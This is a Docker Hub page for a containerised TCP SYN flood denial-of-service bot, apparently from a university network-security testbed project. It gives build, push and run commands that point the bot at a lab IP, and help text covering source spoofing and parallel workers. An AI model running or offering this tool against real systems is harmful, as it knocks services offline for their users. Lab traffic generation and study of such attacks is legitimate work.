Sign inSign up

nusncl1/synflood-attack-bot

By nusncl1

•Updated about 4 years ago

Image
0

988

nusncl1/synflood-attack-bot repository overview

⁠Octo-Bot: DDoS TCP-Syn Flood Attack Bot

⁠About SynFlood-Attack-Bot

This bot performs a TCP Syn Flood attack⁠ on its intended targets. A Syn Flood is a common form of Denial-of-Service (DDoS) attack that can target any system connected to the Internet and providing Transmission Control Protocol (TCP) services syn-flood-attacks).

⁠Quick Start Guide

⁠Install Dependencies

We should verify that the container works locally before we push it to Docker Hub. On Ubuntu, install docker with this following command:

ncl@orchestrator:~/$ sudo apt-get update
ncl@orchestrator:~/$ sudo apt-get install docker-ce docker-ce-cli containerd.io
ncl@orchestrator:~/$ sudo docker run hello-world

The detailed steps can be found in this link⁠. For other Linux distros, visit here⁠. (It is not recommended to use Windows for this)

⁠Download the Source Code

Download the whole source of OctoBot software from the GitHub and navigate to the specific directory

ncl@orchestrator:~/$ git clone https://github.com/nus-ncl/OctoBot
ncl@orchestrator:~/$ cd OctoBot/Octo-Bot/synflood-attack-bot
⁠Build and Run the Specific Bot under Docker

Build the docker image locally.

ncl@orchestrator:~/OctoBot/Octo-Bot/synflood-attack-bot$ ./build.sh

Check the docker image.

ncl@orchestrator:~/OctoBot/Octo-Bot/synflood-attack-bot$ docker images
REPOSITORY                     TAG                 IMAGE ID            CREATED             SIZE
synflood-attack-bot            latest              529fceb6545d        8 minutes ago       118MB
debian                         buster-slim         108d75da320f        8 days ago          69.2MB

Run the docker image locally.

ncl@orchestrator:~/OctoBot/Octo-Bot/synflood-attack-bot$ docker run synflood-attack-bot:latest -t 10.10.0.189 -p 80 443

Check the running docker.

ncl@orchestrator:~/OctoBot/Octo-Bot/synflood-attack-bot$ sudo docker ps -a
CONTAINER ID        IMAGE                         COMMAND                  CREATED             STATUS                      PORTS               NAMES
888677a369da        synflood-attack-bot:latest    "python3 main.py -r …"   38 seconds ago      Exited (0) 40 seconds ago                       blue_fish
⁠Push the docker image into Docker Hub

Tag and push the image with your Docker Hub repository's credential. Replace korona with your own username on Docker Hub.

ncl@orchestrator:~/OctoBot/Octo-Bot/synflood-attack-bot$ docker tag 529fceb6545d korona/synflood-attack-bot:latest
ncl@orchestrator:~/OctoBot/Octo-Bot/synflood-attack-bot$ docker login --username=korona
ncl@orchestrator:~/OctoBot/Octo-Bot/synflood-attack-bot$ docker push korona/synflood-attack-bot:latest
⁠Run the public docker image

Run locally the public docker image.

ncl@orchestrator:~/OctoBot/Octo-Bot/synflood-attack-bot$ docker run korona/synflood-attack-bot:latest -t 10.10.0.189 -p 80 443

⁠Help and Arguments

You can display the help right within the bot.

ncl@orchestrator:~/OctoBot/Octo-Bot/synflood-attack-bot$ docker run korona/synflood-attack-bot:latest --help
usage: synflood-attack.py [-h] [--interactive] [-o ORIGIN [ORIGIN ...]]
                          [-O ORIGIN_PORT [ORIGIN_PORT ...]] -t TARGET
                          [TARGET ...] -p TARGET_PORT [TARGET_PORT ...]
                          [-i INTERFACE] [-d DURATION] [-g GAP] [-w WORKERS]

optional arguments:
  -h, --help            show this help message and exit
  --interactive         use scapy interactive console
  -o ORIGIN [ORIGIN ...], --origin ORIGIN [ORIGIN ...]
                        (optional) specify source (origin) ip
  -O ORIGIN_PORT [ORIGIN_PORT ...], --origin-port ORIGIN_PORT [ORIGIN_PORT ...]
                        (optional) specify source (origin) port
  -t TARGET [TARGET ...], --target TARGET [TARGET ...]
                        specify target ip
  -p TARGET_PORT [TARGET_PORT ...], --target-port TARGET_PORT [TARGET_PORT ...]
                        specify target port
  -i INTERFACE, --interface INTERFACE
                        (optional) specify interface
  -d DURATION, --duration DURATION
                        (optional) continuously generate traffic for a set
                        duration of time
  -g GAP, --gap GAP     (optional) gap (delay) between packets
  -w WORKERS, --workers WORKERS
                        (optional) number of workers to run in parallel per
                        ip-port combination pair

Tag summary

Content type

Image

Digest

sha256:6aa7edaac…

Size

41.7 MB

Last updated

about 4 years ago

docker pull nusncl1/synflood-attack-bot